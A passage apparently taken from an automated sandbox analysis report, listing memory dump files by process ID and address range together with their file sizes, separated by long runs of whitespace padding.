                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3012-1520-0x000001AF2DCE0000-0x000001AF2DCF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3012-1524-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3012-1518-0x000001AF2DCE0000-0x000001AF2DCF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3012-1517-0x000001AF2DCE0000-0x000001AF2DCF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3012-1516-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3180-1532-0x000001745BF90000-0x000001745BFA0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3180-1531-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3180-1544-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3300-452-0x000001F3E5B10000-0x000001F3E5B11000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-456-0x000001F3E5B90000-0x000001F3E5B91000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-454-0x000001F3E5B90000-0x000001F3E5B91000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-441-0x000001F3DCF80000-0x000001F3DCF90000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3300-445-0x000001F3DCFC0000-0x000001F3DCFD0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3300-458-0x000001F3E5C20000-0x000001F3E5C21000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-457-0x000001F3E5C20000-0x000001F3E5C21000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-459-0x000001F3E5C30000-0x000001F3E5C31000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3300-460-0x000001F3E5C30000-0x000001F3E5C31000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/3328-1574-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3328-1571-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3544-764-0x000000001B800000-0x000000001B810000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3544-467-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3544-476-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3544-468-0x000000001B800000-0x000000001B810000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3544-619-0x000000001B800000-0x000000001B810000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3544-488-0x000000001B800000-0x000000001B810000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3544-466-0x00000000009D0000-0x00000000009EA000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  104KB

                                                                                                                                                                                                                                                                                                                • memory/3980-1388-0x00000244EC7A0000-0x00000244EC7B0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/3980-1387-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/3980-1400-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/4488-487-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/4488-475-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/5568-1824-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/5568-1830-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6000-576-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6000-575-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6028-786-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-784-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-789-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-778-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-779-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-780-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-785-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-790-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-788-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6028-787-0x000001B22E540000-0x000001B22E541000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                • memory/6068-1447-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6068-1448-0x0000027C79EE0000-0x0000027C79EF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/6068-1462-0x0000027C79EE0000-0x0000027C79EF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/6068-1465-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6068-1449-0x0000027C79EE0000-0x0000027C79EF0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/6112-1614-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                • memory/6112-1607-0x000001EAF66B0000-0x000001EAF66C0000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                • memory/6112-1601-0x00007FFE7B3B0000-0x00007FFE7BE71000-memory.dmp

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  10.8MB